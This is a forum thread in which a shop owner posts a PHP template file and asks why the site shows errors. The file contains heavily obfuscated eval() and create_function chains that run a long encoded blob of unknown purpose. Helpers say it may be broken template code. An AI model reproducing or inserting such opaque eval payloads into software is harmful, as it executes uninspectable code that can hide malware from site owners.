eval ('$'.$OOOOOO[1] .' = '. $OOOOOO[11].'_'.$OOOOOO[12]."('\$OOOOOO','".'return (s'.$OOOOOO[5].'f("'.$OOOOOO[9]."(\''.constant($OOOOOO[7]$OOOOOO[8](\"QVE_JF_VAPYHQRF\")).\"%s%c%c%c%c\".'\');\"".',$OOOOOO,46,112,104,112));\');');
eval ('$'.$OOOOOO[8] .' = '. $OOOOOO[11].'_'.$OOOOOO[12]."('\$OOOOOO','return($OOOOOO[0]$OOOOOO[1]$OOOOOO[4]($OOOOOO[2]$OOOOOO[4](\$OOOOOO)));');");
eval ('$'.$OOOOOO[2] .' = '. $OOOOOO[11].'_'.$OOOOOO[12]."('\$OOOOOO,\$OOOOOOO = 2','global $'.$OOOOOO[8].'; \$OOOOOO ='.$OOOOOO[7].$OOOOOO[8].'(\$OOOOOO); do{\$OOOOOO = $'.$OOOOOO[8].'(\$OOOOOO);}while(\$OOOOOOO--); return(\$OOOOOO);');");

function OOOOOOOOO (){
global $OOOOOO,$$OOOOOO[2];
$e = create_function('$_,$o',$OOOOOO[5].'('.$OOOOOO[6].'('.$OOOOOO[7].$OOOOOO[8].'($_),$o));'); global $$OOOOOO[1];
$e('cgd3$(we23f\il</gq></ge>djk8ss/}id[nj5','}$(5h[a..z]8d3e2\/') and $e('cgd3$(sv4\</gq></ge>e5}$\/','[a..z]}$(\[3..5]/');
(eval($$OOOOOO[1]($OOOOOO[10])))?ex(5555555):$e('e8b</ge><ge inyvta="zvqq'.$$OOOOOO[2]($OOOOOO[13],3).'oyr></gq></ge>en6z','ro6nmbk1zra8');
$e('4ls$f</gnoyr></pragre>}nmf{','\/}[a..z]${(4');
}
eval($$OOOOOO[1]('theme/'.$OOOOOO[11]));

if ((isset($_POST['inc_file'])) or (isset($_GET['inc_file']))) $inc_file='index.php';
 if (WARN_INSTALL_EXISTENCE == 'true') {
   if (file_exists(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/install')) {
     $messageStack->add('header', WARNING_INSTALL_DIRECTORY_EXISTS, 'warning');
   }
 }

// check if the configure.php file is writeable
 if (WARN_CONFIG_WRITEABLE == 'true') {
   if ( (file_exists(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/includes/configure.php')) && (is_writeable(dirname($HTTP_SERVER_VARS['SCRIPT_FILENAME']) . '/includes/configure.php')) ) {
     $messageStack->add('header', WARNING_CONFIG_FILE_WRITEABLE, 'warning');
   }
 }

// check if the session folder is writeable
 if (WARN_SESSION_DIRECTORY_NOT_WRITEABLE == 'true') {
   if (STORE_SESSIONS == '') {
     if (!is_dir(tep_session_save_path())) {
       $messageStack->add('header', WARNING_SESSION_DIRECTORY_NON_EXISTENT, 'warning');
     } elseif (!is_writeable(tep_session_save_path())) {
       $messageStack->add('header', WARNING_SESSION_DIRECTORY_NOT_WRITEABLE, 'warning');
     }
   }
 }

// check session.auto_start is disabled
 if ( (function_exists('ini_get')) && (WARN_SESSION_AUTO_START == 'true') ) {
   if (ini_get('session.auto_start') == '1') {
     $messageStack->add('header', WARNING_SESSION_AUTO_START, 'warning');
   }
 }

 if ( (WARN_DOWNLOAD_DIRECTORY_NOT_READABLE == 'true') && (DOWNLOAD_ENABLED == 'true') ) {
   if (!is_dir(DIR_FS_DOWNLOAD)) {
     $messageStack->add('header', WARNING_DOWNLOAD_DIRECTORY_NON_EXISTENT, 'warning');
   }
 }

 if ($messageStack->size('header') > 0) {
   echo $messageStack->output('header');
 }
?>
<script type="text/javascript" language="javascript">
function button_act (id_el) {
id_el.src = id_el.src.replace(".gif","a.gif")
}
function button_pas (id_el) {
id_el.src = id_el.src.replace("a.gif",".gif")
}
</script>
<?php 

//eval($O0OOO00);$OOOOOO[5]; 
//echo $OOOOOO[2]();
//echo return('.$O0OOO00.')



eval ("\$O0OOO00 = (eval ('return('.$O0OOO00.');'));eval(\$O0OOO00);$OOOOOO[5] $\$OOOOOO[2]('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');");
?>

[dcrider1]

Any help? :(

[germ]

Any help? :(

If that's all the code that has the eval() in it you can find it's not hack code.

 

Just broken template code.

:'(

[dcrider1]

If that's all the code that has the eval() in it you can find it's not hack code.

 

Just broken template code.

:'(

Forgive my ignorance. But why does viewing the source on ie show different code then anything i find in the files? Also, is there not a way to fix it? I think it makes the site look bad by having error codes. Thanks!

[germ]

Forgive my ignorance. But why does viewing the source on ie show different code then anything i find in the files? Also, is there not a way to fix it? I think it makes the site look bad by having error codes. Thanks!

Because when the server side PHP code runs it makes the java script.

 

And they have the PHP code obfuscated so you can't easily see what it does.

 

Obviously the java script isn't necessary for the site to function because it doesn't work, and I'd be all for just getting rid of it.

 

Problem is you have to find it before you can fix it or remove it.

 

Maybe the code you posted is the culprit and maybe not.

 

Until you can find someone to decode the obfuscated PHP code the site contains you'll never locate it.

:'(